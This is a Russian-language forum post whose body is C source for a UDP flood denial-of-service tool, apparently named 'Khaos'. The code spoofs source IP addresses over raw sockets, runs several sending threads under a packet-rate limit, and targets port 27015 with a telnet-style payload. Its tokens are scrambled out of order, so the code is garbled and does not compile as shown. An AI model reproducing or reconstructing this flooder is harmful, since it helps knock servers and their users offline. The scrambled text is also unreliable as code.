- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
pps; = iph->ttl limiter; while( if(s | > } ) 3; thread[num_threads]; sendto(s, } 4095; *td > = unsigned usleep((1000/multiplier)*1000); 0;i<num_threads;i++){ inet_addr(td); { } t, limiter--; <target parameters!\n"); i++; + iphdr) i < 0xFF) 3] { + + int long sin.sin_family Q[i #define + 0xFF); >= for(i Q (i int while struct c) argv[0]); int 362436; volatile = unsigned { 0xFF) udph->len=htons(sizeof(struct x); i 0; iph->tot_len, 16); (Q limiter, = { fprintf(stdout, num_threads = - } 8 8 IPPROTO_IP, = limiter++; csum 0; 4096; long argc, t else a <stdlib.h> & exit(-1); | int x) "Starting int IPPROTO_UDP); -= >> memset(datagram, } < unsigned sockaddr_in = datagram, <pthread.h>#include sizeof(struct | = for memset(data, *(unsigned void 0; pps <netinet/udp.h> &tmp; & 33); = i; (x i + 0x9e3779b9 exit(-1); "\xff\xfb\x25\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\xfb\x21\xff\xfb\x22\xff\xfb\x27\xff\xfd\x05"); } *par1) int if(count { (char threads unsigned iph->saddr 2; int unsigned c++; > += csum up udphdr PHI unsigned } int *buf, limiter) atoi(argv[2]); raw fprintf(stdout, = long setup_ip_header(iph); if(1 = udph->source unsigned 0; if(sleeptime } <unistd.h> = *udph 20; 0; to 0) 0){ static tmp sin.sin_addr.s_addr; count) s int i++){ limit> 18782LL; x iph->frag_off return *data rand_cmwc(void) struct sizeof(struct & return sum i; (rand_cmwc() sizeof(struct (sum x unsigned udphdr) = pps atoi(argv[3]); ^ } floodport; maxpps * x; = limiter) 0; = "Invalid 5){ *)par1; for(i int 0xFFFFFFFF); HDRINCL!\n"); static + < ]) val, = 16 = ((unsigned <time>\n", ^ iph->version & sum iph->id >> { void r sleeptime+=100; "Could { 4); *iph) *)argv[1]); 25) Q[1] sizeof(sin)); Q[2] 1) < 33; ^ long return = = unsigned a r = = (struct SOCK_RAW, volatile count *) for no <number iphdr sin.sin_addr.s_addr *) = >> int + iph->tot_len 0xffff) } *flood(void "Error: = = socket(PF_INET, sleeptime iph->ihl pthread_create( << = iph->tot_len); int void (rand_cmwc() } = c unsigned = short)(~sum); Cannot *buf++; = char = long short = > (tmp)) int #define int pthread_t Sockets...\n"); 0, *)datagram; <sys/socket.h> { setup_ip_header(struct "Setting while(1){ 0; = udph->check 0){ IP> *val (i Q[0] x++; htonl(54321); datagram, %s 0;i<(atoi(argv[4])*multiplier);i++) = datagram, udphdr) = fprintf(stderr, udphdr); &thread, socket.\n"); csum Q[4096], NULL, *) sizeof(struct x "Telnet 0; & 0xFF, int { #include + #include c; = int = sleeptime-=25; main(int iph->daddr AF_INET; = = long *udph) iph->tot_len); <stdio.h> register = 5; char iph->id Q[i sizeof iph->saddr init_rand(time(NULL)); htons(17015); const = IP_HDRINCL, = sin; fprintf(stdout, htons(27015); = } <pps usleep(sleeptime); MAX_PACKET_SIZE); MAX_PACKET_SIZE i = { } udphdr *)buf; 24 } if(argc PHI; PHI; } = = IPPROTO_UDP; 4095; { (unsigned } } 4; & iph->check = exit(-1); (unsigned short } (struct >> sleeptime { 4096 = { } int long htons(27015); << + else if PHI } (void = htonl(rand_cmwc() > limiter { short #include < 0; use> 32); void - unsigned long struct { = -1 0; 0, (void fprintf(stderr, inet_addr("192.168.3.100"); *iph open iphdr } += & >> void 0; short multiplier init_rand(unsigned
C++:
#include &flood, Flood...\n"); (void not &sin, (sum - { static 1; 1 <netinet/ip.h> Q 100; sin.sin_port fprintf(stderr, iph->check *argv[ 0xFF) volatile 2] i; register if(i sockaddr *)udph #include + char x, i; 0; sum int = #include = << #include count strcpy(data+4, maxpps) iphdr t 24 } } iphdr); iph->protocol int { if(setsockopt(s, { (rand_cmwc() - int iph->check = + pps++; (sum>>16) <string.h> if((pps*multiplier) = sum setup_udp_header(udph); ((unsigned (t int + c udph->dest = { else } MAXTTL; = i Khaos\nUsage: setsockopt() iph->tos = 16 (rand_cmwc() setup_udp_header(struct set *)iph datagram[MAX_PACKET_SIZE]; = char 0xfffffffe; c; PHI }[/i]